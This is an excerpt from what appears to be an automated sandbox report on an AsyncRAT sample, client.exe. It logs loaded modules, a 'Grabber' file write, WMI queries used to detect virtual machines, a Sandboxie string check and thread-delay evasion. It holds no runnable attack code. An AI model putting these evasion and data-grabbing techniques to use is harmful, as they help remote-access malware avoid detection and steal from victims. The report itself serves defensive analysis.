Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\client.exe

File written: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Jump to behavior

Source: client.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: client.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05EDEC58 push esp; iretd		0_2_05EDEC59
Source: C:\Users\user\Desktop\client.exe	Code function: 0_2_05ED1790 push eax; iretd		0_2_05ED179D

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Source: C:\Users\user\Desktop\client.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client.exe PID: 6548, type: MEMORYSTR

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\client.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: client.exe

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\client.exe	Memory allocated: 2FB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Memory allocated: 4FF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599652	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596561	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 595904	Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Window / User API: threadDelayed 8956			Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Window / User API: threadDelayed 875			Jump to behavior

Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599652s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596561s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -595904s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -99078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\client.exe TID: 1436	Thread sleep time: -98750s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\client.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\client.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599652	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Thread delayed: delay time: 597000	Jump to behavior
